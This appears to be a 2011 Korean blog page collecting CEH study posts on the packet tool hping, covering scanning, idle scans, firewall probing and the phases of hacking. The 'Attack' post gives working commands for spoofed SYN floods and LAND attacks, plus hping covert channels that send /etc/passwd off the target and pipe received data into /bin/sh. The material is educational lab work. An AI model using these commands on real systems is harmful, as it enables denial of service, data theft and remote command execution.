'hping'에 해당되는 글 4건

  1. 2011.11.09 CEH Chap 3. hping - Attach.
  2. 2011.11.08 CEH Chap 2. hping - Idle scanning, ...
  3. 2011.11.07 CEH Chap 1. hping?
  4. 2011.11.05 해킹의 5단계 from CEH 2
보안vs해킹2011. 11. 9. 06:42

SYN ATTACK

SYN 공격은 말 그대로 SYN패킷을 타켓 네트워크로 계속 보내면서 상대방의 리소스를 소모하게 하는 방법이다. SYN 패킷을 받은 타겟은 SYN/ACK를 공격자에게 전송하면서 ACK 패킷을 기다리게 된다. 하지만 공격자는 ACK를 보내지 않음으로 해서 타켓 호스트가 half-open상태로 놔두는 방식이다. 이를 응답을 안해준다고 해서 Stealth 공격이라고도 한다. -a는 공격자의 IP를 임의의 IP로 바꾸어서 공격해주는 옵션이다.

[root@localhost root]# hping -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

참고로 타겟호스트로부터 응답을 받을 수 없는데 이는 공격자의 IP를 바꾸었기 때문에 SYN/ACK 패킷이 바뀐 IP로 전송되었기 때문이다.

타겟 호스트를 보면,

C:\WINNT>netstat -n -p tcp
Active Connections
Proto Local Address Foreign Address State

TCP 192.168.10.33:80 192.168.10.99:2555 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2556 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2557 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2558 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2559 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2560 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2561 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2562 SYN_RECEIVED

위의 netstat에 대한 결과를 보면 SYN이 계속 들어오는 것을 볼 수 있다. netstat은 현재 열려있는 혹은 통신준비중인 포트에 대한 정보를 나타낸다.

LAND 공격

LAND공격은 타겟호스트의 IP를 소스아이피로 같이 사용하면서 DOS 공격을 유발하는 방식이다.

[root@localhost root]# hping -S -a 10.10.10.10 -p 21 10.10.10.10
HPING 10.10.10.1 (eth0 10.10.10.1): S set, 40 headers + 0 data bytes

Signature를 이용한 공격

Signature.sig파일을 생성하여 buffer overflow와 같은 공격을 수행할 수 있다.

[root@localhost rules]# hping -2 -p 7 192.168.10.33 -d 50 -E /root/signature.sig
HPING 192.168.10.33 (eth0 192.168.10.33): udp mode set, 28 headers + 50 data bytes
len=78 ip=192.168.10.33 seq=0 ttl=128 id=24842 rtt=4.9 ms
len=78 ip=192.168.10.33 seq=1 ttl=128 id=24844 rtt=1.6 ms
len=78 ip=192.168.10.33 seq=2 ttl=128 id=24846 rtt=1.0 ms
--- 192.168.10.33 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.0/2.5/4.9 ms
[root@localhost rules]#

-2는 UDP모드로, -d는 데이타 길이를 -E는 Signature 옵션이다.

위는 Tcpdump를 통해 얻어진 값으로 타겟 호스트에 저장된 패킷값이다. Tcpdump는 Windows 버전의 Wireshark와 같은 프로그램으로 패킷캡춰툴로써 Wireshark도 Tcpdump엔진을 사용한다.

ICMP, UDP, TCP를 이용한 데이타의 전송

타겟호스트에 hping을 실행할수 있다는 전제하에 ICMP를 이용한 데이타 전송이다.

[root@localhost root]# hping 192.168.10.66 --listen signature --safe --icmp
hping2 listen mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
....

[root@knoppix root]# hping 192.168.10.44 --icmp .d 100 --sign signature --file /etc/passwd

TCP를 통한 전송은,

[root@localhost root]# hping 192.168.10.66 --listen signature --safe-p 22hping2 listen moderoot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmai--- 192.168.10.66 hping statistic ---4 packets tramitted, 0 packets received, 100% packet lossround-trip min/avg/max = 0.0/0.0/0.0 ms[root@localhost root]#

공격호스트쪽에서는

[root@knoppix root]hping -p 22 d 100 --sign signature --file/etc/passwd

이런식으로 해서 트로이안공격을 시도할 수도 있다.

[root@localhost root]# hping 192.168.10.66 --listen signature --safe --udp -p 53 |/bin/shhping2
listen modeamsn_received libreadme.txtanaconda-ks.cfg libfwbuilder-0.10.13-1.rh7.i386.rpmreport.htmlavi license.txtsbinCPsrsc-50-02.i386.rpm linux-wlan-ng-0.1.16-pre5scripts...

[root@knoppix root]# echo ls >test.cmd[root@knoppix root]# hping 192.168.10.44 -p 53 -d 100 --udp --signsiganature --file ./test.cmd

knoppix는 공격자이고 localhost는 타겟호스트로 보고 위와 같이 타겟호스트에 권한만 주어진다면 hping을 통해 다양한 공격을 행할 수 있다.

hping은 여기까지 다룰 예정이다. 아무래도 nmap이 스캔하는데는 제일 사용하기 편리한 툴이기에 zenmap을 좀 다뤄보도록 하겠다. 그런데 내가 다 쓰고 읽어봐도 많은 부분이 설명이 안되어진걸 알겠지만 이걸 또 일일이 설명하기가 글로써는 무리가 좀 있는듯 하다. 조만간 동영상강좌를 만들어서 올려보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 5. OpenVAS 1/2  (0) 2011.11.11
CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
Posted by 구텐모르겐
보안vs해킹2011. 11. 8. 07:26




Idle Scanning

요번에는 hping의 Idle scanning에 대해 적어보겠다. 우리말로 비활동중인 호스트의 스캔정도로 표현가능하겠지만 그냥 Idle scanning이라고 하겠다.

네트워크 패킷의 헤더에는 id값이란 것이 있는데 이것은 통신할때마다 기본적으로 1씩 증가하게 되어있다. (어떤 리눅스는 IP_ID값을 0으로 사용하기도 하고 방화벽에서 랜덤화된 값을 사용하기도 한다. 이럴때는 Idle scanning이 쓸모가 없다.) -r 옵션을 이용하여 호스트나 방화벽의 id값을 보고 타겟의 상태를 알 수 있다.

[root@localhost root]# hping -I eth0 -SA 192.168.10.1 HPING 192.168.10.1
(eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=0 ttl=255 id=18106 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=1 ttl=255 id=18107 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=2 ttl=255 id=18108 win=0 rtt=0.4 ms
...
[root@localhost root]# hping -I eth0 -SA -r 192.168.10.1 HPING 192.168.10.1
(eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=0 ttl=255 id=18109 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=1 ttl=255 id=+1 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=2 ttl=255 id=+1 win=0 rtt=0.4 ms
...

SYN 패킷을 보냈을때 해당 포트가 닫혀있을때에는 RST(reset) 패킷이 돌아오고 IP_ID값은 증가하지 않게 된다. 만약 포트가 열려있어서 IP_ID값이 증가했다면 이 포트는 열려있음을 알 수 있다. 즉 비활성화된 타겟에 대한 스캔중 id의 값이 +2가 된다면 해당 포트는 열려 있다고 보고 +1이라면 포트는 닫혀있다고 보면 된다.

Stealth Scan은 단순하게 SYN만을 타겟호스트에 보내고 ACK가 왔을때 이를 무시하는 것을 Stealth Scan이라고 한다.

Firewall Scanning 방화벽 스캔

다음은 방화벽을 스캔하는 방법에 대해 알아보겠다.

-t옵션은 IP헤더의 ttl값을 설정해줄수 있고 -z는 ctrl+z를 누를때마다 ttl값을 증가시킨다.

[root@localhost root]# hping -I eth0 -z -t 6 -S mail.test.com -p 143
HPING mail.test.com (eth0 10.5.5.3): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=10.1.5.3
7: TTL 0 during transit from ip=10.1.5.3
8: TTL 0 during transit from ip=10.2.5.3
9: TTL 0 during transit from ip=10.3.5.3
10: TTL 0 during transit from ip=10.4.5.3
11: TTL 0 during transit from ip=10.6.5.3
once you reach the server .
len=46 ip=10.5.5.3 flags=SA DF seq=33 ttl=47 id=0 win=5840 rtt=4341.3ms

위에서도 알 수 있듯이 mail.test.com은 47홉을 지나야지 타겟 네트워크에 도착하는 것을 알 수 있다. 이 방법은 기존의 UDP 뿐만 아니라 TCP에 대한 전반적인 스캔이 가능하므로 현재에도 많이 사용되는 방법이다.

hping이 물론 유용한 방법이긴 하지만 nmap이나 zenmap이 더 쉽고 유용하므로 둘의 사용법 또한 익혀놓는 것이 좋다. 이외에 backtrack에 있는 툳들을 하나씩 만져보는것도 필요하다. 언젠가는 하나씩 심도없이 다뤄보도록 할 예정이지만 언제 할지는 자신이 없다.

다음에는 hping을 이용한 SYN attack, Land attack등을 알아보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
해킹의 5단계 from CEH  (2) 2011.11.05
Posted by 구텐모르겐
보안vs해킹2011. 11. 7. 09:46

hping
을 통해 사용자는 idle scan, land scan, stealth scan등 다양한 스캔을 통해 방화벽이 설치되어 있는 네트워크에서도 상대 호스트의 포트가 열려있는지 유무를 알 수 있다. 또한 패킷을 임의적으로 생성할 수 있으므로 활용범위가 상당히 넓다고 할 수 있다.

기존의 ping과 다른점은 ping은 UDP만을 사용하지만 hping은 TCP를 이용한다. 보통의 방화벽은 ping을 허용치 않기 위해 UDP를 블록해 놓지만 hping은 TCP를 이용하므로 이를 우회할 수 있다.

지금의 강좌는 Philippe Bogaerts의HPING Tutorial을 기준으로 작성하였으므로 내용이 모호한 점은 원문을 참조하기 바란다.

hping은 TCP를 이용하므로 여러가지 패킷을 전송하면서 네트워크의 스캔이 가능하다.
  • -F --fin set FIN flag
  • -S --syn set SYN flag
  • -R --rst set RST flag
  • -P --push set PUSH flag
  • -A --ack set ACK flag
  • -U --urg set URG flag
  • -X --xmas set X unused flag (0x40)
  • -Y --ymas set Y unused flag (0x80)
아시다시피(?) TCP는 SYN-ACK/SYN-ACK을 통해서 통신자간 신원확인(?)후 데이타 전송이 시작된다. 데이타 전송이 모두 끝나면 FIN을 통해 데이터전송을 종료하고, RST를 통해 전송을 재요청하게 된다. PUSH는 전송대기중인 패킷의 강제전송을 요청하게 된다. URG는 급할때 XMAS는 이 여러가지의 명령어들을 한꺼번에 요청하게 되서 송신자의 네트워크는 크리스마스트리처럼 반짝거린다고 해서 XMAS스캔이라고 한다.

[root@localhost root]# hping -I eth0 -S 192.168.10.1 -p 80
HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=SA DF seq=0 ttl=64 id=11101 win=16080 rtt=2.7 ms
len=46 ip=192.168.10.1 flags=SA DF seq=1 ttl=64 id=11102 win=16080 rtt=2.4 ms
len=46 ip=192.168.10.1 flags=SA DF seq=2 ttl=64 id=11103 win=16080 rtt=2.4 ms

-I는 인터페이스를 나타내므로 그냥 eth0을 사용하면 되고 -S는 SYN스캔을 요청한 것이고, -p는 포트번호를 나타낸다. SA는 SYN/ACK를 나타내므로 192.168.10.1의 포트80은 열려있다고 보면 된다.

또한 ++기능을 통하여 포트번호를 하나씩 증가해가면서 스캔하게 된다.

[root@localhost root]# hping -I eth0 -S 192.168.10.1 -p ++79
HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 sport=79 flags=RA seq=0 ttl=255 id=17491 win=0 rtt=2.4 ms
len=46 ip=192.168.10.1 sport=80 flags=SA DF seq=1 ttl=64 id=17492 win=16080 rtt=3.1 ms len=46 ip=192.168.10.1 sport=81 flags=RA seq=2 ttl=255 id=17493 win=0 rtt=1.7 ms
len=46 ip=192.168.10.1 sport=82 flags=RA seq=3 ttl=255 id=17494 win=0 rtt=1.8 ms
len=46 ip=192.168.10.1 sport=83 flags=RA seq=4 ttl=255 id=17495 win=0 rtt=1.4 ms
len=46 ip=192.168.10.1 sport=84 flags=RA seq=5 ttl=255 id=17496 win=0 rtt=3.6 ms

또한 아래와 같이 모든 nmap의 기능들을 모두 사용 가능하다.

  • -s --baseport base source port (default random)
  • -p --destport [+][+] destination port(default 0) or ctrl+z inc/dec
  • -k --keep keep still source port -w --win winsize (default 64)
  • -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
  • -Q --seqnum shows only tcp sequence number
  • -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet you'll get bad UDP/TCP checksum instead.
  • -M --setseq set TCP sequence number -L --setack set TCP ack

nmap의 기능을 추가하여 네트워크의 스캔을 좀 더 효율적으로 수행할 수 있다.

[root@localhost root]# hping -I eth0 -M 3000 -SA 192.168.10.1 -p 80
HPING 192.168.10.1 (eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=3000 ttl=255 id=11118 win=0 rtt=1.8 ms
len=46 ip=192.168.10.1 flags=R seq=3001 ttl=255 id=11119 win=0 rtt=1.9 ms
len=46 ip=192.168.10.1 flags=R seq=3002 ttl=255 id=11120 win=0 rtt=1.9 ms.

보시다시피 nmaphping을 효울적으로 사용하는데 있어 필수적인 지식이다. nmap이 command 스타일이라 적응하기 힘든 분들은 zenmap이라도 깔아서 간단한 스캔기능을 익히는게 많은 도움이 될 것이다.

본인이 네트워크에 대한 지식이 없다면 Elite Nabukadnezar의 becoming a hacker를 꼭 읽어보기 바란다.

내일은 hping을 통한 IDLE SCAN, LAND SCAN등 다양한 스캔의 방법을 알아보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
해킹의 5단계 from CEH  (2) 2011.11.05
Posted by 구텐모르겐
보안vs해킹2011. 11. 5. 03:41


네이버에서의 해킹의 정의는 '컴퓨터 네트워크의 취약한 보안망에 불법적으로 접근하거나 정보 시스템에 유해한 영향을 끼치는 행위'로 규정하였고, 위키피디아에서는 해커의 개념을 '이득, 저항 또는 도전 등의 이유로 컴퓨터나 컴퓨터 시스템을 파괴하는 행위'로 말하고 있다. 두 거대 백과사전은 해킹에 대해 꽤 부정적 의미를 포함하고 있다.

하지만 원래 해킹에는 악의적인 의미가 없고, 정작 상대방의 시스템에 위해를 가하는 사람들은 cracker라고 부르고, 엘리트하고 우아하게 상대의 시스템을 유린하는 사람들을 해커라 부른다, 라고 주장하고 싶다. 여기서 쓰고자 하는 것도 상대(?), 목표물(?) 혹은 호기심의 대상의 시스템의 취약점을 찾는걸 다루지, SQL Injection이나 CSS (Cross Site Scripting) 같은 내용은 다루지 않으려고 한다. 위와 같은 내용을 공부하고 싶다면 유투브에 널린게 해킹 기술이니 거기서 습득해도 어리버리한 시스템들은 쉽게 낚아서 본인이 script kiddy임을 증명할 수는 있을 것이다.

해킹은 탐색 (Reconnaissance), 스캔 (Scanning), 침입 (Gaining Access), 접속유지 (Maintaining Access), 사후처리 (Covering Tracks)로 EC-Council에서 구분하고 있다.

탐색은 Nmap, hping, ping 등과 같은 툴로 손쉽게 이루어 질 수 있고 합법이다. (#hping 을 통해 5만비트의 데이타를 연속적으로 보내는 것은 불법이다.)

스캔은 Nessus, OpenVAS 등등이 있다. (불법은 아니지만 본인의 결백을 주장할 증거정도는 필요하겠죠 ex. NDA)

침입은 MetaSploit이 가장 많이 쓰이는 툴이다. (남의 네트워크 침입은 악의적이든 아니든 범죄에 속한다. 그리고 생각보다 우리의 통신내용은 구글신께서 다 감청당하고 있으니 클라이언트가 원하면 당신은 의외로 쉽게 잡힌다.)

접속유지는 컴맨드를 통해서 이루어지므로 딱히 툴이라고 볼게 없고, 사후처리도 알아서 지나갔던 자리 지우고 나오면 되는 거다.

앞으로 적어볼 내용들은 각 툳들의 사용법을 알아보면서 그러한 것들을 어떻게 방어하는지 Snort를 통해 보도록 하겠다.

참고1. BackTrack이라는 라이브DVD가 있다. 모든 보안이나 해킹에 관심있는 사람이라면 꼭 깔아봐야하는 OS이니 지금 읽고 계신 분들도 꼭 깔아서 설치해보기 바란다.

참고2. NDA (Nondisclosure Agreement)를 클라이언트와 작성하고 해킹하는게 법적인 분쟁을 피하는 가장 정석이다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
Posted by 구텐모르겐